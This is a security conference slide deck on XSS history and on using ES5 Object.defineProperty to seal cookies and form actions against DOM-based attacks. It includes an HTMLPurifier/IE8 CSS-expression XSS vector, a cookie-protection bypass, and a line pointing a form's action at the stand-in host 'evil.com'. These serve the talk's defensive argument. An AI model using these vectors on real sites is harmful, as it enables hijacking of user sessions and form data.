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Introduction

 Mario Heiderich
 Researcher and PhD student at the Ruhr-University, 

Bochum
 Security Researcher for Microsoft, Redmond
 Security Consultant for XING AG, Hamburg
 Published author and international speaker
 HTML5 Security Cheatsheet / H5SC
 PHPIDS Project



  

Today's menu

 JavaScript and XSS
 How it all began
 A brief historical overview

 Cross Site Scripting today
 Current mitigation approaches
 A peek into the petri dishes of current development

 A different approach
 ES5 and XSS

 Case study and discussion

 Future work



  

JavaScript History

 Developed by Brendan Eich as LiveScript
 JavaScript 1.0 published late 1995 by Netscape
 Microsoft developed the JScript dialect

 ECMA-262 1st Edition published in 1998
 JavaScript 1.5/JScript 5.5 in November 2000
 JavaScript 1.6 introducing E4X in late 2006
 JavaScript 1.8 in 2008
 JavaScript 1.8.5 in 2010, ECMA Script 5 compliance



  

JavaScript and XSS

 Cross Site Scripting
 One site scripting another
 Early vectors abusing Iframes
 First published attacks in the late nineties
 Three major variations

 Reflected XSS
 Persistent XSS
 DOM based XSS / DOMXSS

 Information theft and modification
 Impersonation and leverage of more complex attacks



  

The DOM

 Document Object Model
 Prototype based representation of HTML/XML trees
 Interfaces for easy JavaScript access
 Methods to read and manipulate DOM subtrees
 Events to notice and process user interaction
 Interaction with browser properties
 Access to magic properties such as document location
 Proprietary interfaces to

 Crypto objects, browser components, style sheets, etc.



  

XSS today

 An ancient and simple yet unsolved problem
 Complexity
 Browser bugs
 Insecure web applications
 Browser plug-ins
 Impedance mismatches
 Application layer mitigation concepts
 Risk assessment and ignorance
 New features and spec drafts enabling 0-day attacks



  

Impedance mismatch

 Layer A is unaware of Layer B capabilities and flaws
 Layer A deploys the attack 
 Layer B executes the exploit

 Case study:
 HTMLPurifier 4.1.1
 Server side HTML filter and XSS mitigation library
 Internet Explorer 8, CSS expressions and a parser bug

 <a style="background:url('/\'\,!
@x:expression\(write\(1\)\)//\)!\'');"></a>



  

Mitigation History

 Server side
 Native runtime functions, strip_tags(), htmlentities(), etc.
 Runtime libraries and request validation
 External libraries filtering input and output

 HTMLPurifier, AntiSamy, kses, AntiXSS, SafeHTML
 HTTPOnly cookies

 Client side protection mechanisms
 toStaticHTML() in IE8+ and NoScript
 IE8+ XSS filter and Webkit XSS Auditor
 Protective extensions such as NoScript, NotScripts
 Upcoming approaches such as CSP



  

Further vectors

 Plug-in based XSS
 Adobe Reader
 Java applets
 Flash player
 Quicktime videos
 SVG images

 Charset injection and content sniffing
 UTF-7 XSS, EBCDIC, MacFarsi, XSS via images
 Chameleon files, cross context scripting, local XSS

 DOMXSS



  

DOMXSS

 DOMXSS is transparent for the server
 Vectors trigger without server interaction
 Impossible to filter or detect for server side IDS/libraries
 No appearance in server log files

 DOM objects execute code
 Location object, HTML5 history vectors
 Infected cookies, referrers and window.name
 Proprietary objects and methods
 Form controls to overwrite global properties
 SOP violations, malicious frames, evil frame-busters



  

Quintessence

 Server side filtering of client side attacks
 Useful and stable for basic XSS protection

 Still not remotely sufficient
 Affected by charsets, impedance mismatch
 Subverted by browser bugs an parser errors
 Rendered useless by DOMXSS
 Bypassed via plug-in based XSS
 Helpless against attacks deployed from different servers
 Not suitable for what XSS has become



  

Revisiting XSS

 XSS attacks target the client
 XSS attacks are being executed client side
 XSS attacks aim for client side data and control
 XSS attacks impersonate the user
 XSS is a client side problem 

 Sometimes caused by server side vulnerabilities
 Sometimes caused by a wide range of problems 

transparent for the server

 Still we try to improve server side XSS filters



  

Idea

 Prevention against XSS in he DOM
 Capability based security 
 Inspired by HTTPOnly

 Cookies cannot be read by scripts anymore
 Why not changing document.cookie to do so

 JavaScript up to 1.8.5 enabled this 
 Unfortunately Non-Standard
 Example → 



  

__defineGetter__()

<script>

document.__defineGetter__('cookie', function(){

alert('no cookie access!');

return false;

});

</script>

…

<script>

alert(document.cookie)

</script>



  

Problems

 Proprietary – not working in Internet Explorer
 Loud – an attacker can fingerprint that modification
 Not tamper resistant at all

 JavaScript supplies a delete operator
 Delete operations on DOM properties reset their state
 Getter definitions can simply be overwritten

 Object getters - invalid for DOM protection purposes
 Same for setters and overwritten methods



  

Bypass

<script>

document.__defineGetter__('cookie', function(){

alert('no cookie access!');

return false;

});

</script>

…

<script>

delete document.cookie;

alert(document.cookie)

</script>



  

Tamper Resistance

 First attempts down the prototype chain
 document.__proto__.__defineGetter__()
 Document.prototype
 Components.lookupMethod(document, 'cookie')

 Attempts to register delete event handlers
 Getter and setter definitions for the prototypes
 Setter protection for setters
 Recursion problems
 Interval based workarounds and race conditions

 JavaScript 1.8 unsuitable for DOM based XSS protection



  

ECMA Script 5

 Most current browsers use JavaScript based on ES3
 Firefox 3
 Internet Explorer 8
 Opera 11

 Few modern ones already ship ES5 compliance
 Google Chrome
 Safari 5
 Firefox 4
 Internet Explorer 9



  

Object Extensions

 Many novelties in ECMA Script 5
 Relevance for client side XSS mitigation

 Object extensions such as
 Object.freeze()
 Object.seal()
 Object.defineProperty() / Object.defineProperties()
 Object.preventExtensions()

 Less relevant but still interesting
 Proxy Objects
 More meta-programming APIs
 Combinations with DOM Level 3 events



  

({}).defineProperty()

 Object.defineProperty() and ..Properties()

 Three parameters
 Parent object

 Child object to define

 Descriptor literal

 Descriptors allow to manipulate
 Get / Set behavior

 Value

 “Enumerability”

 “Writeability”

 “Configurability”

 Example →



  

Example

<script>
Object.defineProperty(document, 'cookie', {

get: function(){return:false},
set: function(){return:false},
configurable:false

});
</script>

…

<script>
delete document.cookie;
alert(document.cookie);

</script>



  

Access Logging

 Object.defineProperty() allows basic AOP
 Get and set access can be monitored

 This enables logging
 Method calls, property access
 Differing reactions depending on accessors and 

parameters
 Possible foundation for a client side IDS



  

configurable:false

 Setting “configurability” to false is final
 The object description is stronger than delete
 Prototype deletion has to effect
 Re-definition is not possible
 Proprietary access via Components.lookupMethod() does 

not deliver the native object either

 With this method call cookie access can be forbidden
 By the developer
 And by the attacker



  

Prohibition

 Forbidding access in general
 Interesting to prevent cookie theft
 Other properties can be blocked too
 Methods can be forbidden
 Methods can be changed completely
 Horizontal log can be added to any call, access and event
 That is for existing HTML elements too
 Location properties can be treated as well

 Example →



  

Action Protection

<script>
var form = document.getElementById('form');
Object.defineProperty(form, 'action', {

set: IDS_detectHijacking, 
get: IDS_detectStealing, 
configurable:false

});
</script>

…

<script>
document.forms[0].action='//evil.com';

</script>



  

Roundup

 Access prohibition might be effective
 Value and argument logging helps detecting attacks
 Possible IDS solutions are not affected by heavy string 

obfuscation
 No impedance mismatches 

 Attacks are detected on they layer they target
 Parser errors do not have effect here
 No effective charset obfuscations
 Immune against plug-in-deployed scripting attacks
 Automatic quasi-normalization



  

Limitations

 Blacklisting approach
 Breaking existing own JavaScript applications

 Forbidding access is often too restrictive

 Breaking third party JavaScript applications
 Tracking scripts (Google Analytics, IVW, etc.)
 Advertiser controlled scripts

 Small adaption rate, high testing effort
 No fine-grained or intelligent approach



  

Solutions

 No access prohibitions but RBAC via JavaScript
 Possible simplified protocol

 Let object A know about permitted accessors
 Let accessors of object A be checked by the getter/setter
 Let object A react depending on access validity
 Seal object A
 Execute application logic
 Strict policy based approach

 A shared secret between could strengthen the policy
 Example →



  

RBAC and IDS

<script>
Object.defineProperty(document, 'cookie', {

set:RBAC_checkSetter(IDS_checkArguments()),
get:RBAC_checkGetter(IDS_checkArguments())
configurable:false

});

// identified via arguments.callee.caller
My.allowedMethod(document.cookie);
</script>

…

<script>
alert(document.cookie)

</script>



  

Forced Introspection

 Existing properties can gain capabilities
 The added setter will know:

 Who attempts to set
 What value is being used

 The added getter will know:
 Who attempts to get

 An overwritten function will know:
 How the original function looked like
 Who calls the function
 What arguments are being used

 IDS and RBAC are possible

 Tamper resistance thanks to configurable:false



  

Case Study

 Stanford JavaScript Crypto Library

 AES256, SHA256, HMAC and more in JavaScript

 „SJCL is secure“

 Not true from an XSS perspective

 Global variables

 Uses 
 Math.floor(), Math.max(), Math.random()
 document.attachEvent(), native string methods etc.
 Any of which can be attacker controlled

 High impact vulnerabilities ahead...



  

Hardening

 First level hardening
 No global vars anymore
 Usage of anonymous functions and closures

 Second level hardening
 Using the discussed approach
 Seal the internal objects
 Wrap native methods
 Apply role model authentication and IDS logic

 Apparently a high maintenance job



  

Easing Adaptation

 JS based IDS and RBAC is not easy to grasp
 Possible adaptation boosters include

 Usage ready libraries
 Well readable policy files (JSON)
 GUI Tools for individual policies

 Automated parsing of existing libraries and scripts
 Security levels and developer compatible docs

 Community driven hardening and vendor adaptation
 Interfaces to server-side filter logic
 Spreading awareness for security sake!



  

ES5 Philosophy

 „With great power comes great responsibility“
 Sealing properties is very powerful
 First time there's no reset feature anymore
 What the defender can do, the attacker can as well
 Object.defineProperty() could lead to serious problems

 Super-Powers for attackers
 A whole new situation for advertisers
 Rethinking website mash-ups
 Subverting the Web 2.0 philosophy



  

Deployment

 Website owners should obey a new rule
 „The order  of deployment is everything“
 As long as trusted content is being deployed first

 Object.defineProperty() can protect
 Sealing can be used for good

 The script deploying first controls the DOM
 Persistent, tamper resistant and transparent

 Self-defense is possible
 Example →



  

!defineProperty()

<html>
<head>
<script>
…
Object.defineProperty(Object, 'defineProperty' {

value:[], 
configurable:false

});
</script>

…

<script>
Object.defineProperty(window,'secret', {

get:stealInfo
}); // TypeError

</script>



  

Conclusion

 ES5 changes client side security significantly

 Eradication of XSS versus sealing its targets

 Future work
 Model implementations

 Easy to use rule and policy generators

 Using ES5 to cover more security aspects
 Malware detection and prevention (HoneyAgent, 2011)

 Ad-Blocker

 Client side NoScript without any domain trust flaws

 Better XSS detection, Click-jacking prevention

 JavaScript based RBAC and IDS

 New risks and dangers for those lacking awareness



  

Future Work

 Address browser vendors about concerns and bugs
 Double freezing, lack of ES5 support, peculiarities

 Create a model framework

 Interact with the Google Caja team

 Academic publications

 Spread awareness on ES5 and the attached implications

 Address the white-list/blacklist problem in a more methodological manner
 W3C draft submission?

 Finally, somehow tell online advertisers in a charming way, what they have 
to expect soon...



  

Questions

 Thanks for your time!

 Discussion?

 Thanks for advice and contribution:

 Gareth Heyes

 Stefano Di Paola

 Eduardo Vela

 John Wilander and Mattias Bergling

 Jonas Magazinius

 Phung et al.

 All unmentioned contributors
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